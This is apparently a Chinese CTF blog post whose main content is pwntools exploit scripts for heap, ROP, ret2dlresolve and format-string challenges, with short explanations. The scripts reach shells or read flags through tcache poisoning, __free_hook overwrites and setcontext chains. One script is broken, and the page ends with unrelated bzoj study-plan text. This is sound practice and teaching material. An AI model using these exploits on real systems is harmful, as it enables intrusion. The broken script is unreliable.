题单做一做

2022dasctf9月

note

from pwn import*
p=process("./pwn")
#p=remote("node4.buuoj.cn",26178)
context(log_level="Debug",terminal=["tmux","splitw","-h"])
libc=ELF("libc-2.31.so")
choice = lambda x:p.sendlineafter(b'Your choice:',str(x).encode())
def add(size,payload):
    choice(1)
    size = 0x100000000 | size
    p.sendafter(b'Note size:',str(size).encode())
    p.sendafter(b'Note content:',payload)

def free(idx):
    choice(2)
    p.sendlineafter(b'Note ID:',str(idx).encode())

def show(idx):
    choice(3)
    p.sendlineafter(b'Note ID:',str(idx).encode())

add(0x90,'a'*0x90)
add(0x80,'a'*0x10)
add(0x80,'a'*0x10)#2
add(0xf0,'a'*0x10)#3
add(0xf0,'a'*0x10)#4
add(0xf0,'a'*0x10)#5
add(0xf0,'a'*0x10)#6
add(0xf0,'a'*0x10)

free(0)
add(0x90,'a'*0x90+p64(0)+p64(0x521))
free(1)
add(0x80,'a'*0x10)
show(2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1ebbe0
free_hook=libc.symbols["__malloc_hook"]+libc_base
system=libc_base+libc.symbols["system"]

onegadget=libc_base+0xe6af1
free(4)
free(3)
free(0)
add(0x90,'a'*0x90+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x491)+p64(0x00007fdadd6e9be0)*2+'a'*0x70+p64(0)+p64(0x101)+p64(free_hook))

add(0xf0,'a')
add(0xf0,p64(system))

#free(5)
#add(0xf0,"/bin/sh\x00")
#add(0x80,'b')

print(hex(free_hook))
gdb.attach(p)
p.interactive()

题目不难关键在于审题,看到一堆unsigned int和int就想整形溢出,事实也确实是malloc时候unsigned整形溢出,构成堆重叠。之后也挺常规的

bar

from pwn import*
#p=remote("node4.buuoj.cn",26315)
p=process("./bar")
elf=ELF('libc-2.31.so')
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
libc=ELF('libc-2.31.so')

s=lambda x:p.send(x)
sa=lambda x,y:p.sendafter(x,y)
sl=lambda x:p.sendline(x)
sla=lambda x,y:p.sendlineafter(x,y)
r=lambda x:p.recv(x)
ru=lambda x:p.recvuntil(x)
debug=lambda:gdb.attach(p)	

choose=lambda x:sla(b"Your choice:",str(x))

def add(size,content):
    choose(1)
    sla("Whisky , brandy or Vodka?",str(size))
    sla("You may want to tell sth to the waiter:",content)

def free(idx,num):
    choose(2)
    sla("Which?",str(idx))
    sla("How much?",str(num))

choose(3)

ru('0x')
libc_base=int(r(12),16)-0x1ec6a0
onegadget=libc_base+0xe6af1
freehook=libc_base+libc.sym['__malloc_hook']
""" 0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL """



add(0,'0')
add(0,'1')#
add(2,'2')
add(2,'3')
add(1,'4')#0x100
add(2,'5')
add(2,'6')
add(1,'7')#0x100
add(0,'8')
add(2,'9')
add(2,'a')

free(0,0x100)
add(0,'\0'*0xf8+p64(0x471))

free(1,0x100)
free(2,0x40)
free(3,0x40)


add(0,'a'*0x10)
add(0,p64(0)*7+p64(0x51)+p64(freehook-0x10))

add(2,'a')
add(2,p64(onegadget))

#free(6,0x40)
add(0,'a')

print(hex(freehook))
#gdb.attach(p)
p.interactive()

题目不难关键在于没有edit情况下切割unsortbin以达到覆盖效果构成重叠我是伪造了一个unsortbin来做的官方wp还可以伪造unsortbin和tcache来做,但我感觉其实并不太好

总结一下,做完9月,nameless师傅出的题都没有特别考察glibc,我感觉很不错。之后着重转向调试glibc了

reverse1

看着挺有意思的研究了一下这道题

 按照正常逻辑只能接触fake flag,程序的关键在于fun1函数下的fun2 _cxa_allocate_exception,引用一下知乎上的解释

简化的exception处理流程(从throw到catch):

  • 调用__cxa_allocate_exception分配空间存放exception object和exception header __cxa_exception
  • 跳转到__cxa_throw,设置__cxa_exception字段后跳转到_Unwind_RaiseException
  • _Unwind_RaiseException执行search phase,调用personality查找匹配的try catch(类型匹配)
  • _Unwind_RaiseException执行cleanup phase:调用personality查找包含out-of-scope变量的stack frames,对于每个stack frame,跳转到其landing pad执行destructors。该landing pad用_Unwind_Resume跳转回cleanup phase
  • _Unwind_RaiseException执行的cleanup phase跳转到匹配的try catch对应的landing pad
  • 该landing pad调用__cxa_begin_catch,执行catch代码,然后调用__cxa_end_catch
  • __cxa_end_catch销毁exception object

问题便变成了从throw找catch处理异常代码,跟进_cxa_throw,可以发现_cxa_begin_catch,这便是正确的catch位置这时候以汇编窗口打开,对_cxa_begin_catch进行溯源查找调用它的函数按x

查找,经过查找mian+158,就找到正确的函数

bytectf2020

easyheap

这题我一开始想的是利用v2的任意地址写0之后,改变tcache指向free_hook之后调用one_gadget

实际onegadget不太行只有老老实实sys bin,具体注意的点就算切割unsotrbin malloc0留下地址leak libc,我们构造tache指针重叠时候主要我们修改的指针连表必须后面至少还有两个tachce占为否则我们申请free——hook时候会申请不出来。

from pwn import*
p=process("./easyheap")
context(log_level="Debug",terminal=["tmux","splitw","-h"])
libc=ELF("/home/sohaha/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
def cho(num):
    p.sendlineafter(">> ",str(num))
 
def exadd(v2,size,con):
    cho(1)
    p.sendlineafter("Size: ",str(v2))
    p.sendlineafter("Size: ",str(size))
    p.sendlineafter("Content: ",con)
 
def add(size,con):
    cho(1)
    p.sendlineafter("Size: ",str(size))
    p.sendlineafter("Content: ",con)
 
def show(index):
    cho(2)
    p.sendlineafter("Index: ",str(index))
 
def delete(index):
    cho(3)
    p.sendlineafter("Index: ",str(index))


for i in range(0,8):
    add(0x80,'aaaaaaaa')
for i in range(0,7):
    delete(7-i)
delete(0)

exadd(0x361,0x1,'\xe0')
show(0)

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1ebc61-2-0x7d
print(hex(libc_base))
""" constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULLs
 """
one_gadget=libc_base+0xe6aee
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(free_hook))

###########################################################################
#for i in range(0,5):
#    add(0x80,'bbbbbbbb')
#add(0x80,p64(free_hook))
#add(0x80,"/bin/sh\x00")
#add(0x80,p64(system))#其实可以利用原来申请的0x80构造,但是如过这样肯定要重新布置堆块了较麻烦

##########################################################################
add(0x70,'bcbcbcbc')
add(0x60,"bcbcbcbc")
add(0x50,'adadadad')
add(0x50,'adadadad')
add(0x50,'adadadad')

delete(3)
delete(5)
delete(4)

exadd(-0xbf,0x40,"/bin/sh\x00")
add(0x50,p64(free_hook))

add(0x50,"/bin/sh\x00")
add(0x50,p64(system))

delete(5)
########################################################################




print(hex(free_hook))
gdb.attach(p)
p.interactive()

gun

这题也挺有意思的,解题关键在于发现malloc的时候堆没有初始化,free的时候没有删去指针,而且本题特殊的load形式先把对块上链表之后再free但是load链表却没有初始化和释放的时候把next指针归零(这个看了好久没看出来,真的挺利害的),导致我们可以uaf构造重叠,同时开了沙箱,以前我也没做过setcontext的题确实是长见识了

from pwn import*
p=process("./gun")
context(log_level="debug",terminal=["tmux","splitw","-h"])
libc=ELF("libc-2.31.so")
p.recvuntil("Your name: ")
payload='adadadad'
p.sendline(payload)

def cho(num):
    p.sendlineafter("Action> ",str(num))
 
def buy(size,con):
    cho(3)
    p.sendlineafter("Bullet price: ",str(size))
    p.sendlineafter("Bullet Name: ",con)
 
def load(index):
    cho(2)
    p.sendlineafter('load?',str(index))
 
def shoot(time):
    cho(1)
    p.sendlineafter('time: ',str(time))

buy(0x500,'a'*0x10)
buy(0x20,'a'*0x10)
load(0)
shoot(1)

buy(0x20,'a')
load(0)
shoot(1)

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1ebf61-0x100
malloc_hook=libc_base+libc.symbols["__malloc_hook"]
setcontext=libc_base+libc.symbols["setcontext"]+61
free_hook=libc_base+libc.symbols["__free_hook"]


buy(0x30,'a')#0
buy(0x30,'a')#2

load(0)
load(2)
shoot(2)

buy(0x30,'\x0a')
load(0)
shoot(1)
p.recvuntil("Pwn! The ")
elf_base=u64(p.recv(6).ljust(8,"\x00"))-0x340
#print(hex(elf_base))

pdt=libc_base+0x26b72 ##pop_rdi_ret
pat=libc_base+0x4a550 ##pop_rax_ret
pst=libc_base+0x27529 ##pop_rsi_ret
pd12t=libc_base+0x11c1e1 ##pop_rdx_r12_ret
sys_ret=libc_base+0x66229 ##syscall_ret

#print(hex(pdt))
def syscall(num,a1,a2,a3):
    pd=p64(pat)+p64(num)+p64(pdt)+p64(a1)+p64(pst)+p64(a2)+p64(pd12t)+p64(a3)+p64(0)+p64(sys_ret)
    return pd

#print(hex(elf_base))
target=0x410+elf_base

 
#0 1 2 3 4 5 6 7 
load(1)
shoot(1)

for i in range(9):
    buy(0x20,'a')

for i in range(9):
    load(8-i)
shoot(9)


for i in range(7):
    buy(0x20,'b')

for i in range(6):
    load(5-i)
shoot(8)

for i in range(7):
    buy(0x20,'a')

rop=syscall(2,target+0x10,0,0)+syscall(0,3,target+0x10,0x40)+syscall(1,1,target+0x10,0x40)
padding='./flag\x00\x00'+p64(target)+p64(setcontext)+'a'*0x78+p64(target+0xb0)+rop

buy(0x200,'s')
buy(0x20,p64(free_hook))

buy(0x20,'a')
buy(0x20,'a')
buy(0x20,p64(libc_base+0x1547a0))

load(7)
shoot(1)

""" #double free
for i in range(8):
    buy(0x68,'b')

load(0)
load(2)
load(3)
load(4)
load(5)
load(6)
load(7)
load(8)
shoot(8)


load(1)
shoot(2)

orw_base=elf_base+0x100
pop_rdi=0x0000000000001bd3
pop_rsi_r15=0x0000000000001bd1
 """

""" orw=p64(pop_rdi)+p64(flag_addr)
orw+=p64(pop_rsi_r15)+p64(0)+p64(0)
orw+=p64(pop_rax)+p64(2)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi_r15)+p64(elf_base+0x40)
orw+=p64(pop_rdx)+p64(0x100)
orw+=p64(pop_rax)+p64(0)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi_r15)+p64(elf_base+0x40)+p64(0)
orw+=p64(pop_rdx)+p64(0x100)
 """




print(hex(free_hook))
gdb.attach(p)
p.interactive()

1.ret2ret2dlresolve

这道题类型算是第一次遇见还挺有意思的

参考【技术分享】借助DynELF实现无libc的漏洞利用小结-安全客 - 安全资讯平台

from pwn import *

p = process('./c1')
elf = ELF('./c1')
write = elf.plt['write']
read  = elf.plt['read']
bss = elf.bss(0x2C)
main = 0x80484be
pppt = 0x0804856c
offset = 112

def leak(address):
    p.recvuntil('Welcome to XDCTF2015~!\n')
    payload = "A" * 112 + p32(write) + p32(main) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data = p.recv(4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data
d = DynELF(leak, elf = elf)
systemAddress = d.lookup('system', 'libc')
payload = 'A' * 112 + p32(read) + p32(pppt) + p32(0) + p32(bss) + p32(0x2C) + p32(systemAddress) + p32(main) + p32(bss)
p.send(payload)
payload = "/bin/sh\00"
p.send(payload)
p.interactive()

1.hgame babygame

rom pwn import*
from ctypes import*
p=process("./babygame")
libc=ELF("libc-2.31.so")
elf=ELF("./libc-2.31.so")
p.recvuntil("Please input your name:")
context(arch="amd64",log_level="debug",os='linux',terminal=['tmux','splitw','-h'])

libc=cdll.LoadLibrary("./libc-2.31.so")
libc.srand(0x1111111111111111)

payload=('\x11'*0x109)
p.sendline(payload)
p.recvuntil("\x11"*0x109)
cannary=u64(p.recv(7).rjust(8,'\x00'))
print(hex(cannary))
stack=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

print(hex(stack))

#gdb.attach(p)

for i in range(100):
    v2=libc.rand()%3
    if v2==0:
        v3=1
    if v2==1:
        v3=2
    if v2==2:
        v3=0
    p.recvuntil(': \n')
    p.sendline(str(v3))

#gdb.attach(p,"b 0x7f408657bfca")
gdb.attach(p)
p.recvuntil("Good luck to you.\n")


payload='%42178c%9$hn'+'aaaa'+'%27$p'+'aaa'+p64(leak_addr-520)
   
p.send(payload)
sleep(0.2)
p.recvuntil('\x78')
atoi_addr=int(p.recv(12),16)-16
libc_base=atoi_addr-lib.sym['atoi']
print('libc_base')
print(hex(libc_base))
sys_addr=lib.symbols['system']+libc_base
bin_sh_addr=lib.search('/bin/sh').next()+libc_base
payload2=0x108*'a'+p64(canary)+'b'*0x18+p64(0x4f302 +libc_base)
p.send(payload2)
sleep(0.2)
p.send('0')
p.interactive()

#gdb.attach(p)
p.interactive()

开幕雷击第一题就调炸了,换了各种脚本尝试跑了以下乌各自libc总是对不上,现放着后面再来。

 

### 回答1: bzoj作为一个计算机竞赛的在线评测系统,不仅可以提供大量的题目供程序员练习和学习,还可以帮助程序员提升算法和编程能力。为了更好地利用bzoj进行题目的学习和刷题,制定一个bzoj题计划是非常有必要的。 首先,我们需要合理安排时间,每天留出一定的时间来bzoj的题目。可以根据自己的时间安排,每天挑选适量的题目进行解答。可以先从难度较低的题目开始,逐渐提高难度,这样既能巩固基础知识,又能挑战自己的思维能力。 其次,要有一个计划和目标。可以规划一个每周或每月的题目数量目标,以及每个阶段要学习和掌握的算法知识点。可以根据bzoj的题目分类,如动态规划、图论、贪心算法等,结合自己的实际情况,有针对性地选择题目进行学习。 此外,要充分利用bzoj提供的资源。bzoj网站上有很多高质量的题解和优秀的解题代码,可以参考和学习。还有相关的讨论区,可以与其他程序员交流和讨论,共同进步。 最后,要坚持并保持思考。题不是单纯为了刷数量,更重要的是学会思考和总结。遇到难题时,要有耐心,多思考,多尝试不同的解法。即使不能一次性解出来,也要学会思考和分析解题过程,以及可能出现的错误和优化。 总之,bzoj题计划的关键在于合理安排时间、制定目标、利用资源、坚持思考。通过有计划的刷题,可以提高算法和编程能力,并培养解决问题的思维习惯,在计算机竞赛中取得更好的成绩。 ### 回答2: bzoj题计划是指在bzoj这个在线测评系统上制定一套学习和刷题的计划,并且将计划记录在excel表格中。该计划主要包括以下几个方面的内容。 首先是学习目标的设定。通过分析自己的水平和知识缺口,可以设定一个合理的目标,比如每天解决一定数量的题目或者提高特定的算法掌握程度。 其次是题目选择的策略。在excel表格中可以记录下自己选择的题目编号、题目类型和难度等信息。可以根据题目的类型和难度来安排每天的刷题计划,确保自己可以逐步提高技巧和解题能力。 然后是学习进度的记录和管理。将每天的完成情况记录在excel表格中,可以清晰地看到自己的学习进度和任务完成情况。可以使用图表等功能来对学习进度进行可视化展示,更好地管理自己的学习计划。 同时,可以在excel表格的备注栏中记录下每道题目的解题思路、关键点和需要复习的知识点等信息。这样可以方便自己回顾和总结,巩固所学的知识。 最后,可以将excel表格与其他相关资料进行整合,比如算法教材、题目解析和学习笔记等。这样可以形成一个完整的学习档案,方便自己进行系统的学习和复习。 总之,bzoj题计划excel的制定和记录可以帮助我们更加有条理和高效地进行学习和刷题。通过合理安排学习目标和题目选择策略,记录学习进度和思路,并整合其他学习资料,我们可以提高自己的解题能力,并在bzoj上取得更好的成绩。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值